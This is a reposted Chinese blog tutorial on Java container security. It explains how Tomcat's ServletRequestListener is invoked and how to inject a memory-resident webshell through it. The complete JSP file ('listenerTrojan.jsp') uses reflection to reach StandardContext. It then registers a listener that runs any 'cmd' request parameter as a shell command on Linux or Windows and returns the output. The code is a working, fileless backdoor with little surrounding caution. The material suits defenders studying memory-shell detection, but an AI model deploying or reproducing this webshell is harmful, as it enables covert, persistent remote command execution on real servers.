栏目分类:
子分类:
返回
名师互学网用户登录
快速导航关闭
当前搜索
当前分类
子分类
实用工具
热门搜索
名师互学网 > IT > 软件开发 > 后端开发 > Java

『Java安全』容器安全-Tomcat Servlet-api型Listener内存马

Java 更新时间: 发布时间: IT归档 最新发布 模块sitemap 名妆网 法律咨询 聚返吧 英语巴士网 伯小乐 网商动力

『Java安全』容器安全-Tomcat Servlet-api型Listener内存马

『Java安全』反序列化-

文章目录

前言

Tomcat Servlet API Listener介绍ServletRequestListener介绍 ServletRequestListener调用流程分析

1. Request创建时2. Request销毁时 Listener内存马

原理Ⅰ.获取contextⅡ. 生成恶意Listener

获取Response Ⅲ. add添加listener完整代码 参考引用完

前言 Tomcat Servlet API Listener介绍

Listener监听器用来监听对象创建、销毁,属性增删改然后执行操作,在tomcat中处理流程为 Listener -> Filter -> Servlet 的顺序,是最先被执行的。

Tomcat支持两种listener:org.apache.catalina.LifecycleListener和Java.util.EvenListener,前者一般不能使用,因此讨论后者。

翻看servlet api文档,以下几个类实现了Listener,除去两个不常用的

监听上下文、request请求、session的创建和销毁监听上下文属性、request请求属性、session属性的增删改 ServletRequestListener介绍

可以发现最适合做内存马的就是ServletRequestListener类,它提供两种行为的监听:

Request请求创建Request请求销毁

ServletRequestListener调用流程分析 1. Request创建时

Servlet在启动的时候、在Host中对Request请求创建监听器进行检查

fireRequestInitEvent又调用get方法获取全部监听器,可以看见StandardContext是提供了getter获取监听器,然后生成RequestEvent请求事件

如果存在监听器,选出RequestListener,调用requestInitialized方法

2. Request销毁时

Request请求销毁时:

同理,选出请求监听器调用requestDestroyed

Listener内存马 原理

方法比较简单,获取context传入listener即可

    生成恶意Listener放入Context
Ⅰ.获取context

从request(属于RequestFacade)反射获取Request然后再获取StandardContext

<%
    Field requestField = request.getClass().getDeclaredField("request");
    requestField.setAccessible(true);
    Request request1 = (Request) requestField.get(request);
    StandardContext standardContext = (StandardContext) request1.getContext();
Ⅱ. 生成恶意Listener

实例化ServletRequestListener,重写方法

获取Response

requestInitialized传入了事件

而事件只能获取HttpServletRequest,没办法直接拿到HttpServletResponse,就没法输出了

之前从反射拿到的Request刚好封装了response,直接getter即可


<%
    Field requestField = request.getClass().getDeclaredField("request");
    requestField.setAccessible(true);
    Request request1 = (Request) requestField.get(request);
    StandardContext standardContext = (StandardContext) request1.getContext();

    ServletRequestListener listener = new ServletRequestListener() {
        @Override
        public void requestInitialized(ServletRequestEvent sre) {
            HttpServletRequest req = (HttpServletRequest) sre.getServletRequest();
            HttpServletResponse resp = request1.getResponse();
            if (req.getParameter("cmd") != null) {
                try {
                    boolean isLinux = true;
                    String osTyp = System.getProperty("os.name");
                    if (osTyp != null && osTyp.toLowerCase().contains("win")) {
                        isLinux = false;
                    }
                    String[] cmds = isLinux ? new String[]{"sh", "-c", req.getParameter("cmd")} : new String[]{"cmd.exe", "/c", req.getParameter("cmd")};
                    InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
                    Scanner s = new Scanner(in).useDelimiter("\A");
                    String out = s.hasNext()?s.next():"";
                    resp.getWriter().write(out);
                    resp.getWriter().flush();
                }catch (IOException ioe){
                    ioe.printStackTrace();
                }
            }
        }
    };

Ⅲ. add添加listener

完整代码
// listenerTrojan.jsp
<%@ page import="java.io.InputStream" %>
<%@ page import="java.io.IOException" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.util.Scanner" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>

<%
    Field requestField = request.getClass().getDeclaredField("request");
    requestField.setAccessible(true);
    Request request1 = (Request) requestField.get(request);
    StandardContext standardContext = (StandardContext) request1.getContext();

    ServletRequestListener listener = new ServletRequestListener() {
        @Override
        public void requestInitialized(ServletRequestEvent sre) {
            HttpServletRequest req = (HttpServletRequest) sre.getServletRequest();
            HttpServletResponse resp = request1.getResponse();
            if (req.getParameter("cmd") != null) {
                try {
                    boolean isLinux = true;
                    String osTyp = System.getProperty("os.name");
                    if (osTyp != null && osTyp.toLowerCase().contains("win")) {
                        isLinux = false;
                    }
                    String[] cmds = isLinux ? new String[]{"sh", "-c", req.getParameter("cmd")} : new String[]{"cmd.exe", "/c", req.getParameter("cmd")};
                    InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
                    Scanner s = new Scanner(in).useDelimiter("\A");
                    String out = s.hasNext()?s.next():"";
                    resp.getWriter().write(out);
                    resp.getWriter().flush();
                }catch (IOException ioe){
                    ioe.printStackTrace();
                }
            }
        }
    };
    standardContext.addApplicationEventListener(listener);
    out.println("inject done!");
    out.flush();
%>
参考引用

Java Listener内存马

欢迎关注我的CSDN博客 :@Ho1aAs
版权属于:Ho1aAs
本文链接:https://blog.csdn.net/Xxy605/article/details/123693427
版权声明:本文为原创,转载时须注明出处及本声明

转载请注明:文章转载自 www.mshxw.com
本文地址:https://www.mshxw.com/it/777669.html
我们一直用心在做
关于我们 文章归档 网站地图 联系我们

版权所有 (c)2021-2022 MSHXW.COM

ICP备案号:晋ICP备2021003244-6号